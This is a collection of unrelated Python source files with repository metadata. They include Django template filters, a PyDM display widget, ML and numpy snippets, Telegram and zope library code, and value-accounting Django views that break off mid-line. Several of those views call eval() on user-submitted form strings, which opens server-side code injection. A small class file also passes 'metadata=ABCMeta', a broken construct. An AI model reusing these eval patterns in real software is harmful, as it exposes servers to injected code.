2019-11-05T12:08:45
211,856,646
0
0
null
null
null
null
UTF-8
Python
false
false
3,593
py
from django import template from datetime import datetime from django.utils import simplejson from ..models import comma_formatted from django.conf import settings from django.contrib.humanize.templatetags.humanize import intcomma import pytz from decimal import Decimal register = template.Library() @register.filter def local_timezone(value, format="%b %e %Y, %H:%M"): local = pytz.timezone(settings.USER_TIME_ZONE) value = value.replace(tzinfo=pytz.utc) return value.astimezone(local).strftime(format) @register.filter def format_int(value): try: value = int(value) return intcomma(value) except: return intcomma(value) @register.filter def format_percent(value): if value is None: return "-" try: value = int(value) return intcomma(value) + "%" except: return intcomma(value) + "%" @register.filter def format_currency(price, currency): if price is None or price == '': return "-" else: try: return currency.format(price) except: return price @register.filter def format_currency_summary(price, currency): if price is None or price == '': return "-" else: try: return currency.format(price, False, "med", "med") except: return price @register.filter def format_currency_rounded(price, currency): if price is None or price == '': return "-" else: try: return currency.format(price, True) except: return price @register.filter def format_currency_rounded_summary(price, currency): if price is None or price == '': return "-" else: try: return currency.format(price, True, "med", "med") except: return price @register.filter def format_kilos(value): if value is None or value == '': return "-" else: return comma_formatted(value, False) + " Kg" @register.filter def format_tons(value): if value is None or value == '': return "-" else: tons = comma_formatted((value / Decimal(1000)).quantize(Decimal(".01")), True) return str(tons) + " mT" @register.filter def format_id(national_id, country): return country.format_id(national_id) @register.filter def format_phone(phone, country): return country.format_phone(phone) @register.filter def format_weight(value, weight): if value is None or value == '': return "" else: try: return weight.format(value, True) except: return value @register.filter def format_weight_int(value, weight): if value is None or value == '': return '' else: try: return weight.format(value, False) except: return value @register.filter def format_weight_rounded(value, weight): if value is None or value == '': return '' else: try: return weight.format(value, True, True) except: return value @register.filter def format_weight_rounded_use_decimals(value, weight): if value is None or value == '': return '' else: try: return weight.format(value, True, True, True) except: return value @register.filter def format_weight_rounded_use_one_decimal_place(value, weight): if value is None or value == '': return '' else: try: return weight.format(value, True, True, True, True) except: return value
d676af8e17b6a00bc0e80a2fd344d538af7e3d17
61f921e1ee1d2461ba420ef33b854a53f2169c6f
/typhon/display.py
83e235d08ea8585dd43ab4f030da224e8e3884dd
[ "BSD-2-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
jsheppard95/typhon
420ef80b8568dec76bb0551301354144d9bf18ea
072e3cd821068f7f148d9ed7bffe58abc5a4d7d4
refs/heads/master
2020-04-18T09:48:18.368334
2019-01-23T21:44:21
2019-01-23T21:44:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,572
py
from enum import Enum import logging import os.path from pydm import Display from qtpy.QtCore import Property, Slot, Q_ENUMS from qtpy.QtWidgets import QHBoxLayout, QWidget from .utils import (ui_dir, TyphonBase, clear_layout, reload_widget_stylesheet) from .widgets import TyphonDesignerMixin logger = logging.getLogger(__name__) class DisplayTypes: """Types of Available Templates""" embedded_screen = 0 detailed_screen = 1 engineering_screen = 2 @classmethod def to_enum(cls): # First let's remove the internals entries = [(k, v) for k, v in cls.__dict__.items() if not k.startswith("__") and not callable(v) and not isinstance(v, staticmethod)] return Enum('TemplateEnum', entries) class TyphonDeviceDisplay(TyphonBase, TyphonDesignerMixin, DisplayTypes): """ Main Panel display for a signal Ophyd Device This widget lays out all of the architecture for a single Ophyd display. The structure matches an ophyd Device, but for this specific instantation, one is not required to be given. There are four main panels available; :attr:`.read_panel`, :attr:`.config_panel`, :attr:`.method_panel`. These each provide a quick way to organize signals and methods by their importance to an operator. Because each panel can be hidden interactively, the screen works as both an expert and novice entry point for users. By default, widgets are hidden until contents are added. For instance, if you do not add any methods to the main panel it will not be visible. This contains the widgets for all of the root devices signals, any methods you would like to display, and an optional image. As with ``typhon`` convention, the base initialization sets up the widgets and the ``.from_device`` class method will automatically populate them. Parameters ---------- name: str, optional Name to displayed at the top of the panel image: str, optional Path to image file to displayed at the header parent: QWidget, optional """ # Template types and defaults Q_ENUMS(DisplayTypes) TemplateEnum = DisplayTypes.to_enum() # For convenience def __init__(self, parent=None, **kwargs): # Intialize background variable self._forced_template = '' self._last_macros = dict() self._main_widget = None self._display_type = DisplayTypes.detailed_screen self.templates = dict((_typ.name, os.path.join(ui_dir, _typ.name + '.ui')) for _typ in self.TemplateEnum) # Set this to None first so we don't render super().__init__(parent=parent) # Initialize blank UI self.setLayout(QHBoxLayout()) self.layout().setContentsMargins(0, 0, 0, 0) # Load template self.load_template() @property def current_template(self): """Current template being rendered""" if self._forced_template: return self._forced_template # Search in the last macros, maybe our device told us what to do template_key = self.TemplateEnum(self._display_type).name return self.templates[template_key] @Property(DisplayTypes) def display_type(self): return self._display_type @display_type.setter def display_type(self, value): # Store our new value if self._display_type != value: self._display_type = value self.load_template(macros=self._last_macros) @Property(str, designable=False) def device_class(self): """Full class with module name of loaded device""" if getattr(self, 'devices', []): device_class = self.devices[0].__class__ return '.'.join((device_class.__module__, device_class.__name__)) return '' @Property(str, designable=False) def device_name(self): "Name of loaded device" if getattr(self, 'devices', []): return self.devices[0].name return '' def load_template(self, macros=None): """ Load a new template Parameters ---------- template: str Absolute path to template location macros: dict, optional Macro substitutions to be made in the file """ # If we are not fully initialized yet do not try and add anything to # the layout. This will happen if the QApplication has a stylesheet # that forces a template, prior to the creation of this display if self.layout() is None: logger.debug("Widget not initialized, do not load template") return # Clear anything that exists in the current layout if self._main_widget: logger.debug("Clearing existing layout ...") clear_layout(self.layout()) # Assemble our macros macros = macros or dict() for display_type in self.templates: value = macros.get(display_type) if value: logger.debug("Found new template %r for %r", value, display_type) self.templates[display_type] = value # Store macros self._last_macros = macros try: self._main_widget = Display(ui_filename=self.current_template, macros=macros) # Add device to all children widgets if self.devices: for widget in self._main_widget.findChildren(TyphonBase): widget.add_device(self.devices[0]) except (FileNotFoundError, IsADirectoryError): logger.exception("Unable to load file %r", self.current_template) self._main_widget = QWidget() finally: self.layout().addWidget(self._main_widget) reload_widget_stylesheet(self) @Property(str) def force_template(self): """Force a specific template""" return self._forced_template @force_template.setter def force_template(self, value): if value != self._forced_template: self._forced_template = value self.load_template(macros=self._last_macros) def add_device(self, device, macros=None): """ Add a Device and signals to the TyphonDeviceDisplay Parameters ---------- device: ophyd.Device macros: dict, optional Set of macros to reload the template with. There are two fallback options attempted if no information is passed in. First, if the device has an ``md`` attribute after being loaded from a ``happi`` database, that information will be passed in as macros. Finally, if no ``name`` field is passed in, we ensure the ``device.name`` is entered as well. """ # We only allow one device at a time if self.devices: logger.debug("Removing devices %r", self.devices) self.devices.clear() # Add the device to the cache super().add_device(device) # Try and collect macros from device if not macros: if hasattr(device, 'md'): macros = device.md.post() else: macros = dict() # Ensure we at least pass in the device name if 'name' not in macros: macros['name'] = device.name # Reload template self.load_template(macros=macros) @classmethod def from_device(cls, device, template=None, macros=None): """ Create a new TyphonDeviceDisplay from a Device Loads the signals in to the appropriate positions and sets the title to a cleaned version of the device name Parameters ---------- device: ophyd.Device template :str, optional Set the ``display_template`` macros: dict, optional Macro substitutions to be placed in template """ display = cls() # Reset the template if provided if template: display.force_template = template # Add the device display.add_device(device, macros=macros) return display @Slot(object) def _tx(self, value): """Receive information from happi channel""" self.add_device(value['obj'], macros=value['md'])
97daa8af63232dc5fab30bf297f4f50efbe5b8a6
02acba9459ebbcdf3d4636c9a8187363a9762dca
/paper2remarkable/__version__.py
089d249ffd39aef18d369b38c1ee3dacffa8042d
[ "MIT" ]
permissive
shpotes/paper2remarkable
a1203861bf254c0ddb39b3cb7fc9518c5bad14f4
8f9df280344e84fbf2a8c6569f6db1a6dcf0e03e
refs/heads/master
2022-07-06T07:17:01.790719
2020-05-12T03:19:33
2020-05-12T03:19:33
263,218,515
0
0
MIT
2020-05-12T03:05:11
2020-05-12T03:05:10
null
UTF-8
Python
false
false
88
py
# -*- coding: utf-8 -*- VERSION = (0, 6, 6) __version__ = ".".join(map(str, VERSION))
9d9298d491f9355cf0b40cd48b69830babf911c4
ccd45a60940628e2b5a75ca018936b4aab78e647
/config.py
20ccee4fe3602f6cd080595e4283a23f2390bed4
[]
no_license
GNK48LXZ/bert_test
8853e041d65bbc9602d3bb61bf4274b1cb6c79f1
86c78d8bebbcad8051e5a1f9baba51e6d35588c9
refs/heads/main
2023-08-19T03:45:14.757576
2021-09-21T08:30:17
2021-09-21T08:30:17
408,739,774
2
0
null
null
null
null
UTF-8
Python
false
false
826
py
import os PROJECT_PATH = os.path.abspath(os.path.dirname(__file__)) Config = { 'Corpus_File_Path': os.path.join(PROJECT_PATH, 'Data\preprocess_sentence.txt'), 'Vocabulary_File_Path': os.path.join(PROJECT_PATH, 'Data/vocaba.txt'), # 词表存放位置 'Log_Dir': os.path.join(PROJECT_PATH, 'Logs'), # 'Saved_Weight': os.path.join(PROJECT_PATH, 'Saved_Weight'), 'Saved_Weight': os.path.join(PROJECT_PATH, 'Saved_Weight_256d_3t'), 'Character_Frequency_Threshold': 3, 'Segment_Size': 2, 'Batch_Size': 64, 'Max_Sequence_Length': 128, # 最大长度 'Mask_Rate': 0.15, 'Vocab_Size': 2367, 'Embedding_Size': 256, 'Num_Transformer_Layers': 3, 'Num_Attention_Heads': 8, 'Intermediate_Size': 1024, 'Initializer_Variance': 0.02, # 权重初始化方差,默认0.02 }
[ "your email" ]
your email
255123e9ddeae3912c5dde73fe83a188998078a9
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/133/usersdata/251/41014/submittedfiles/al15.py
9d38935ef75af5e62e774b5daa85cecd967e6cad
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
68
py
# -*- coding: utf-8 -*- for i in range (1000,10000,1): print(i)
6cc4471719509120c666393dc2e7eed5b40f35f8
8af8290b5aa09b8764e1e06e35bef43571c38cbc
/numpy_study/_07deep_stack_split.py
6bdadf9695fb02266461c6e56f3cdabea0493954
[]
no_license
wochonglai/AI_learn
cad527c0c5a88bcfea3072a544547da486528e71
f06dd05e59046492469699cbac6d4064739b4a72
refs/heads/master
2020-03-26T07:59:52.879435
2018-10-03T01:33:39
2018-10-03T01:33:39
144,681,244
0
0
null
null
null
null
UTF-8
Python
false
false
276
py
# -*- coding: utf-8 -*- import numpy as np a = np.arange(11,20).reshape(3,3) print('a:',a) b = a +10 print("b:",b) # 深度合并 c = np.dstack((a,b)) print('c:',c) # 深度拆分 d,e = np.dsplit(c,2) print('d:',d) print('e:',e) print('dT:',d.T[0].T) print('eT:',e.T[0].T)
bc131fb89cd26403efa2f9589f1cd1f5f69415eb
ebba19c671eb241e9363700aac0f3f91489fc4bf
/Tareas/T01/entidades.py
071efbf4e539b4606e15d4ae39ce1a40ff39e08b
[ "MIT" ]
permissive
FarDust/FarDust-IIC2233
6358a489399428e2ec621ffb0f82eb88c3c38226
f941be5fc2f3eab48ed4a78cca29ddac7ca2a26d
refs/heads/master
2023-04-06T07:10:14.636304
2021-04-19T19:24:56
2021-04-19T19:24:56
103,351,653
1
0
null
null
null
null
UTF-8
Python
false
false
556
py
# Entidades v1.0.0 from abc import ABCMeta, abstractmethod class Entidades(metadata=ABCMeta): def __init__(self, nombre): self.nombre = nombre self.usuario = None class ANAF(Entidades): def __init__(self): self.empleados = [] pass class Persona(Entidades): def __init__(self): pass class Empleado(Persona): def __init__(self): pass class Piloto(Persona): def __init__(self): self.aeronave = None pass class Jefe(Persona): def __init__(self): pass
f330147c75c69e8d0f284de36f81d0239b97a513
ef32b87973a8dc08ba46bf03c5601548675de649
/pytglib/api/types/page_block_table.py
b8a0e04514fa250dcf57fc03851043c842f17357
[ "MIT" ]
permissive
iTeam-co/pytglib
1a7580f0e0c9e317fbb0de1d3259c8c4cb90e721
d3b52d7c74ee5d82f4c3e15e4aa8c9caa007b4b5
refs/heads/master
2022-07-26T09:17:08.622398
2022-07-14T11:24:22
2022-07-14T11:24:22
178,060,880
10
9
null
null
null
null
UTF-8
Python
false
false
1,237
py
from ..utils import Object class PageBlockTable(Object): """ A table Attributes: ID (:obj:`str`): ``PageBlockTable`` Args: caption (:class:`telegram.api.types.RichText`): Table caption cells (List of List of :class:`telegram.api.types.pageBlockTableCell`): Table cells is_bordered (:obj:`bool`): True, if the table is bordered is_striped (:obj:`bool`): True, if the table is striped Returns: PageBlock Raises: :class:`telegram.Error` """ ID = "pageBlockTable" def __init__(self, caption, cells, is_bordered, is_striped, **kwargs): self.caption = caption # RichText self.cells = cells # list of list(pageBlockTableCell) self.is_bordered = is_bordered # bool self.is_striped = is_striped # bool @staticmethod def read(q: dict, *args) -> "PageBlockTable": caption = Object.read(q.get('caption')) cells = [[Object.read(v) for v in i] for i in q.get('cells', [])] is_bordered = q.get('is_bordered') is_striped = q.get('is_striped') return PageBlockTable(caption, cells, is_bordered, is_striped)
420b4c8e12f33757ae20a038063d0bc5b90214cf
8ebf6311c3c1db40c7bb56051cf4e37e1b85a4f9
/rm-server/gateway/gateway/router/templatemanager/document/comments/classify.py
07a9a30736b52f8da7942eccb87bc4af038bbcdc
[]
no_license
sq591442679/requirements-manager
e8b074afb7fd2a83632f2546d392dab4c35aeeeb
6d664ce338b455150dcc9a86145967e8dd67a9dd
refs/heads/master
2023-07-08T04:38:20.064019
2021-08-11T03:41:13
2021-08-11T03:41:13
392,877,568
0
0
null
null
null
null
UTF-8
Python
false
false
551
py
from flask import request from gateway.app import app from gateway.utils.handle_api import ( get_client_username, handle_request_response ) from gateway.http_client import templatemanager_http_client @app.route('/document/comments/classify', methods=['POST']) @handle_request_response @get_client_username def comments_classsify(client_username: str): body = request.json status_code, resp_body = templatemanager_http_client.post( 'document/comments/classify', client_username, json=body ) return status_code, resp_body
2978d2a3a3e6e231bc6ae317f19693320024810a
d73409535734a788af83a9b2b2e32dd1b979d5d2
/proxySTAR_V3/certbot/venv.1509389747.bak/lib/python2.7/site-packages/zope/component/persistentregistry.py
8b1b4e6bf91b34de0bb6b132fff5bfdb890411a4
[ "Apache-2.0", "MIT" ]
permissive
mami-project/lurk
adff1fb86cb3e478fe1ded4cbafa6a1e0b93bfdd
98c293251e9b1e9c9a4b02789486c5ddaf46ba3c
refs/heads/master
2022-11-02T07:28:22.708152
2019-08-24T19:28:58
2019-08-24T19:28:58
88,050,138
2
2
NOASSERTION
2022-10-22T15:46:11
2017-04-12T12:38:33
Python
UTF-8
Python
false
false
2,102
py
############################################################################## # # Copyright (c) 2004 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################## """Persistent component managers """ from persistent import Persistent from persistent.mapping import PersistentMapping from persistent.list import PersistentList from zope.interface.adapter import VerifyingAdapterRegistry from zope.interface.registry import Components class PersistentAdapterRegistry(VerifyingAdapterRegistry, Persistent): def changed(self, originally_changed): if originally_changed is self: self._p_changed = True super(PersistentAdapterRegistry, self).changed(originally_changed) def __getstate__(self): state = super(PersistentAdapterRegistry, self).__getstate__().copy() for name in self._delegated: state.pop(name, 0) state.pop('ro', None) return state def __setstate__(self, state): bases = state.pop('__bases__', ()) super(PersistentAdapterRegistry, self).__setstate__(state) self._createLookup() self.__bases__ = bases self._v_lookup.changed(self) class PersistentComponents(Components): def _init_registries(self): self.adapters = PersistentAdapterRegistry() self.utilities = PersistentAdapterRegistry() def _init_registrations(self): self._utility_registrations = PersistentMapping() self._adapter_registrations = PersistentMapping() self._subscription_registrations = PersistentList() self._handler_registrations = PersistentList()
0d2e2932574b684a99214f4f2fbaf76e7c8cacc8
325530749d02c4e80456977238e1c7bf4360592e
/valuenetwork/valueaccounting/views.py
fea5a643650cd0149415ac32e81124dd8f52b9c6
[]
no_license
bhaugen/valuenetwork
ed91e0294e9119907e7530d483cbd0a183eaf007
06a08624d0bc6f79dce03d816fcea9821f7c5638
refs/heads/master
2021-01-10T19:45:10.271646
2013-04-09T14:59:02
2013-04-09T14:59:02
5,718,090
9
3
null
null
null
null
UTF-8
Python
false
false
36,678
py
import datetime import time import csv from operator import attrgetter from django.db.models import Q from django.http import Http404 from django.views.generic import list_detail from django.http import HttpResponseRedirect from django.shortcuts import render_to_response, get_object_or_404 from django.core.urlresolvers import reverse from django.contrib.auth.models import User from django.template import RequestContext from django.http import HttpResponse, HttpResponseServerError from django.core import serializers from django.contrib.auth.decorators import login_required from django.core.exceptions import MultipleObjectsReturned from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger from django.utils import simplejson from django.forms.models import formset_factory, modelformset_factory from django.forms import ValidationError from django.utils import simplejson from valuenetwork.valueaccounting.models import * from valuenetwork.valueaccounting.views import * from valuenetwork.valueaccounting.forms import * from valuenetwork.valueaccounting.utils import * def projects(request): roots = Project.objects.filter(parent=None) return render_to_response("valueaccounting/projects.html", { "roots": roots, }, context_instance=RequestContext(request)) def resource_types(request): roots = EconomicResourceType.objects.exclude(materiality="work") #roots = EconomicResourceType.objects.all() create_form = EconomicResourceTypeForm() categories = Category.objects.all() select_all = True selected_cats = "all" if request.method == "POST": selected_cats = request.POST["categories"] cats = selected_cats.split(",") if cats[0] == "all": select_all = True roots = EconomicResourceType.objects.all() else: select_all = False roots = EconomicResourceType.objects.filter(category__name__in=cats) #import pdb; pdb.set_trace() return render_to_response("valueaccounting/resource_types.html", { "roots": roots, "categories": categories, "select_all": select_all, "selected_cats": selected_cats, "create_form": create_form, "photo_size": (128, 128), }, context_instance=RequestContext(request)) def contributions(request, project_id): #import pdb; pdb.set_trace() project = get_object_or_404(Project, pk=project_id) event_list = project.events.all() paginator = Paginator(event_list, 25) page = request.GET.get('page') try: events = paginator.page(page) except PageNotAnInteger: # If page is not an integer, deliver first page. events = paginator.page(1) except EmptyPage: # If page is out of range (e.g. 9999), deliver last page of results. events = paginator.page(paginator.num_pages) return render_to_response("valueaccounting/project_contributions.html", { "project": project, "events": events, }, context_instance=RequestContext(request)) def contribution_history(request, agent_id): #import pdb; pdb.set_trace() agent = get_object_or_404(EconomicAgent, pk=agent_id) event_list = agent.given_events.all() paginator = Paginator(event_list, 25) page = request.GET.get('page') try: events = paginator.page(page) except PageNotAnInteger: # If page is not an integer, deliver first page. events = paginator.page(1) except EmptyPage: # If page is out of range (e.g. 9999), deliver last page of results. events = paginator.page(paginator.num_pages) return render_to_response("valueaccounting/agent_contributions.html", { "agent": agent, "events": events, }, context_instance=RequestContext(request)) def log_time(request): nick = request.user.username if nick: try: member = EconomicAgent.objects.get(nick=nick.capitalize) except EconomicAgent.DoesNotExist: member = get_object_or_404(EconomicAgent, nick=nick) else: member = "Unregistered" form = TimeForm() roots = Project.objects.filter(parent=None) resource_types = EconomicResourceType.objects.filter(materiality="work") #resource_types = EconomicResourceType.objects.all() return render_to_response("valueaccounting/log_time.html", { "member": member, "form": form, "roots": roots, "resource_types": resource_types, }, context_instance=RequestContext(request)) class EventSummary(object): def __init__(self, agent, role, quantity, value=Decimal('0.0')): self.agent = agent self.role = role self.quantity = quantity self.value=value def key(self): return "-".join([str(self.agent.id), str(self.role.id)]) def quantity_formatted(self): return self.quantity.quantize(Decimal('.01'), rounding=ROUND_UP) class AgentSummary(object): def __init__(self, agent, value=Decimal('0.0'), percentage=Decimal('0.0'), amount=Decimal('0.0'), ): self.agent = agent self.value=value self.percentage=percentage self.amount=amount def value_equation(request, project_id): project = get_object_or_404(Project, pk=project_id) if not CachedEventSummary.objects.all().exists(): summaries = CachedEventSummary.summarize_events(project) all_subs = project.with_all_sub_projects() summaries = CachedEventSummary.objects.select_related( 'agent', 'project', 'resource_type').filter(project__in=all_subs).order_by( 'agent__name', 'project__name', 'resource_type__name') total = 0 agent_totals = [] init = {"equation": "( hours * ( rate + importance + reputation ) ) + seniority"} form = EquationForm(data=request.POST or None, initial=init) if request.method == "POST": #import pdb; pdb.set_trace() if form.is_valid(): data = form.cleaned_data equation = data["equation"] amount = data["amount"] if amount: amount = Decimal(amount) eq = equation.split(" ") for i, x in enumerate(eq): try: y = Decimal(x) eq[i] = "".join(["Decimal('", x, "')"]) except InvalidOperation: continue s = " " equation = s.join(eq) agent_sums = {} total = Decimal("0.00") safe_list = ['math',] safe_dict = dict([ (k, locals().get(k, None)) for k in safe_list ]) safe_dict['Decimal'] = Decimal #import pdb; pdb.set_trace() for summary in summaries: safe_dict['hours'] = summary.quantity safe_dict['rate'] = summary.resource_type_rate safe_dict['importance'] = summary.importance safe_dict['reputation'] = summary.reputation safe_dict['seniority'] = Decimal(summary.agent.seniority()) #import pdb; pdb.set_trace() summary.value = eval(equation, {"__builtins__":None}, safe_dict) agent = summary.agent if not agent.id in agent_sums: agent_sums[agent.id] = AgentSummary(agent) agent_sums[agent.id].value += summary.value total += summary.value agent_totals = agent_sums.values() #import pdb; pdb.set_trace() for at in agent_totals: pct = at.value / total at.value = at.value.quantize(Decimal('.01'), rounding=ROUND_UP) at.percentage = ( pct * 100).quantize(Decimal('.01'), rounding=ROUND_UP) if amount: at.amount = (amount * pct).quantize(Decimal('.01'), rounding=ROUND_UP) paginator = Paginator(summaries, 50) page = request.GET.get('page') try: events = paginator.page(page) except PageNotAnInteger: # If page is not an integer, deliver first page. events = paginator.page(1) except EmptyPage: # If page is out of range (e.g. 9999), deliver last page of results. events = paginator.page(paginator.num_pages) return render_to_response("valueaccounting/value_equation.html", { "project": project, "events": events, "form": form, "agent_totals": agent_totals, "total": total, }, context_instance=RequestContext(request)) def extended_bill(request, resource_type_id): rt = get_object_or_404(EconomicResourceType, pk=resource_type_id) #import pdb; pdb.set_trace() select_all = True categories = Category.objects.all() if request.method == "POST": nodes = generate_xbill(rt) depth = 1 for node in nodes: depth = max(depth, node.depth) selected_cats = request.POST["categories"] cats = selected_cats.split(",") selected_depth = int(request.POST['depth']) #import pdb; pdb.set_trace() if cats[0]: if cats[0] == "all": select_all = True else: select_all = False for node in nodes: node.show = False if node.depth <= selected_depth: if select_all: node.show = True else: cat = node.category() if cat.name in cats: node.show = True else: nodes = generate_xbill(rt) depth = 1 for node in nodes: depth = max(depth, node.depth) node.show = True selected_depth = depth select_all = True selected_cats = "all" return render_to_response("valueaccounting/extended_bill.html", { "resource_type": rt, "nodes": nodes, "depth": depth, "selected_depth": selected_depth, "categories": categories, "select_all": select_all, "selected_cats": selected_cats, "photo_size": (128, 128), "big_photo_size": (200, 200), }, context_instance=RequestContext(request)) @login_required def edit_extended_bill(request, resource_type_id): rt = get_object_or_404(EconomicResourceType, pk=resource_type_id) #import pdb; pdb.set_trace() nodes = generate_xbill(rt) resource_type_form = EconomicResourceTypeForm(instance=rt) process_form = XbillProcessTypeForm() change_process_form = ChangeProcessTypeForm() source_form = AgentResourceTypeForm() feature_form = FeatureForm() return render_to_response("valueaccounting/edit_xbill.html", { "resource_type": rt, "nodes": nodes, "photo_size": (128, 128), "big_photo_size": (200, 200), "resource_type_form": resource_type_form, "process_form": process_form, "change_process_form": change_process_form, "source_form": source_form, "feature_form": feature_form, }, context_instance=RequestContext(request)) @login_required def change_resource_type(request, resource_type_id): #import pdb; pdb.set_trace() if request.method == "POST": rt = get_object_or_404(EconomicResourceType, pk=resource_type_id) form = EconomicResourceTypeForm(request.POST, request.FILES, instance=rt) if form.is_valid(): data = form.cleaned_data rt = form.save(commit=False) rt.changed_by=request.user rt.save() next = request.POST.get("next") if next: return HttpResponseRedirect(next) else: return HttpResponseRedirect('/%s/%s/' % ('accounting/edit-xbomfg', resource_type_id)) else: raise ValidationError(form.errors) @login_required def delete_resource_type_confirmation(request, resource_type_id): rt = get_object_or_404(EconomicResourceType, pk=resource_type_id) side_effects = False if rt.process_types.all(): side_effects = True return render_to_response('valueaccounting/resource_type_delete_confirmation.html', { "resource_type": rt, "side_effects": side_effects, }, context_instance=RequestContext(request)) else: rt.delete() return HttpResponseRedirect('/%s/' % ('accounting/resources')) @login_required def delete_resource_type(request, resource_type_id): #import pdb; pdb.set_trace() if request.method == "POST": rt = get_object_or_404(EconomicResourceType, pk=resource_type_id) pts = rt.producing_process_types() rt.delete() for pt in pts: pt.delete() next = request.POST.get("next") if next: return HttpResponseRedirect(next) else: return HttpResponseRedirect('/%s/' % ('accounting/resources')) @login_required def delete_order_confirmation(request, order_id): order = get_object_or_404(Order, pk=order_id) if order.producing_commitments(): sked = [] reqs = [] work = [] tools = [] for ct in order.producing_commitments(): schedule_commitment(ct, sked, reqs, work, tools, 0) return render_to_response('valueaccounting/order_delete_confirmation.html', { "order": order, "sked": sked, "reqs": reqs, "work": work, "tools": tools, }, context_instance=RequestContext(request)) else: order.delete() return HttpResponseRedirect('/%s/' % ('accounting/demand')) @login_required def delete_order(request, order_id): #import pdb; pdb.set_trace() if request.method == "POST": order = get_object_or_404(Order, pk=order_id) trash = [] for ct in order.producing_commitments(): collect_trash(ct, trash) order.delete() for item in trash: item.delete() next = request.POST.get("next") if next: return HttpResponseRedirect(next) else: return HttpResponseRedirect('/%s/' % ('accounting/demand')) def collect_trash(commitment, trash): order = commitment.independent_demand process = commitment.process trash.append(process) for inp in process.incoming_commitments(): resource_type = inp.resource_type pcs = resource_type.producing_commitments() if pcs: for pc in pcs: if pc.independent_demand == order: collect_trash(pc, trash) return trash @login_required def delete_process_input(request, process_input_id, resource_type_id): pi = get_object_or_404(ProcessTypeResourceType, pk=process_input_id) pi.delete() return HttpResponseRedirect('/%s/%s/' % ('accounting/edit-xbomfg', resource_type_id)) @login_required def delete_source(request, source_id, resource_type_id): s = get_object_or_404(AgentResourceType, pk=source_id) #import pdb; pdb.set_trace() s.delete() return HttpResponseRedirect('/%s/%s/' % ('accounting/edit-xbomfg', resource_type_id)) @login_required def delete_process_type_confirmation(request, process_type_id, resource_type_id): pt = get_object_or_404(ProcessType, pk=process_type_id) side_effects = False if pt.resource_types.all(): side_effects = True return render_to_response('valueaccounting/process_type_delete_confirmation.html', { "process_type": pt, "resource_type_id": resource_type_id, "side_effects": side_effects, }, context_instance=RequestContext(request)) else: pt.delete() return HttpResponseRedirect('/%s/%s/' % ('accounting/edit-xbomfg', resource_type_id)) @login_required def delete_feature_confirmation(request, feature_id, resource_type_id): ft = get_object_or_404(Feature, pk=feature_id) side_effects = False if ft.options.all(): side_effects = True return render_to_response('valueaccounting/feature_delete_confirmation.html', { "feature": ft, "resource_type_id": resource_type_id, "side_effects": side_effects, }, context_instance=RequestContext(request)) else: ft.delete() return HttpResponseRedirect('/%s/%s/' % ('accounting/edit-xbomfg', resource_type_id)) @login_required def delete_process_type(request, process_type_id): #import pdb; pdb.set_trace() if request.method == "POST": pt = get_object_or_404(ProcessType, pk=process_type_id) pt.delete() next = request.POST.get("next") if next: return HttpResponseRedirect(next) else: return HttpResponseRedirect('/%s/' % ('accounting/resources')) @login_required def delete_feature(request, feature_id): #import pdb; pdb.set_trace() if request.method == "POST": ft = get_object_or_404(Feature, pk=feature_id) ft.delete() next = request.POST.get("next") return HttpResponseRedirect(next) @login_required def create_resource_type(request): #import pdb; pdb.set_trace() if request.method == "POST": form = EconomicResourceTypeForm(request.POST, request.FILES) if form.is_valid(): data = form.cleaned_data rt = form.save(commit=False) rt.created_by=request.user rt.save() next = request.POST.get("next") if next: return HttpResponseRedirect(next) else: return HttpResponseRedirect('/%s/' % ('accounting/resources')) else: raise ValidationError(form.errors) @login_required def create_process_type_input(request, process_type_id): #import pdb; pdb.set_trace() if request.method == "POST": pt = get_object_or_404(ProcessType, pk=process_type_id) prefix = pt.xbill_input_prefix() form = ProcessTypeResourceTypeForm(request.POST, prefix=prefix) #form = ProcessTypeResourceTypeForm(request.POST) if form.is_valid(): ptrt = form.save(commit=False) ptrt.process_type=pt ptrt.save() next = request.POST.get("next") return HttpResponseRedirect(next) else: raise ValidationError(form.errors) @login_required def create_process_type_feature(request, process_type_id): #import pdb; pdb.set_trace() if request.method == "POST": pt = get_object_or_404(ProcessType, pk=process_type_id) form = FeatureForm(request.POST) if form.is_valid(): feature = form.save(commit=False) feature.process_type=pt rts = pt.produced_resource_types() #todo: assuming the feature applies to the first # produced_resource_type if rts: feature.product=rts[0] feature.save() next = request.POST.get("next") return HttpResponseRedirect(next) else: raise ValidationError(form.errors) @login_required def create_options_for_feature(request, feature_id): #import pdb; pdb.set_trace() if request.method == "POST": ft = get_object_or_404(Feature, pk=feature_id) form = OptionsForm(feature=ft, data=request.POST) if form.is_valid(): options = eval(form.cleaned_data["options"]) for option in options: rt = EconomicResourceType.objects.get(pk=int(option)) opt = Option( feature=ft, component=rt) opt.save() next = request.POST.get("next") return HttpResponseRedirect(next) else: raise ValidationError(form.errors) @login_required def change_options_for_feature(request, feature_id): #import pdb; pdb.set_trace() if request.method == "POST": ft = get_object_or_404(Feature, pk=feature_id) form = OptionsForm(feature=ft, data=request.POST) if form.is_valid(): options = form.cleaned_data["options"] selected_options = [] if options: selected_options = eval(form.cleaned_data["options"]) selected_options = [int(opt) for opt in selected_options] previous_options = ft.options.all() previous_ids = ft.options.values_list('component__id', flat=True) for option in previous_options: if not option.component.id in selected_options: option.delete() for option in selected_options: if not option in previous_ids: rt = EconomicResourceType.objects.get(pk=int(option)) opt = Option( feature=ft, component=rt) opt.save() next = request.POST.get("next") return HttpResponseRedirect(next) else: raise ValidationError(form.errors) @login_required def change_process_type_input(request, input_id): #import pdb; pdb.set_trace() if request.method == "POST": ptrt = get_object_or_404(ProcessTypeResourceType, pk=input_id) prefix = ptrt.xbill_change_prefix() form = 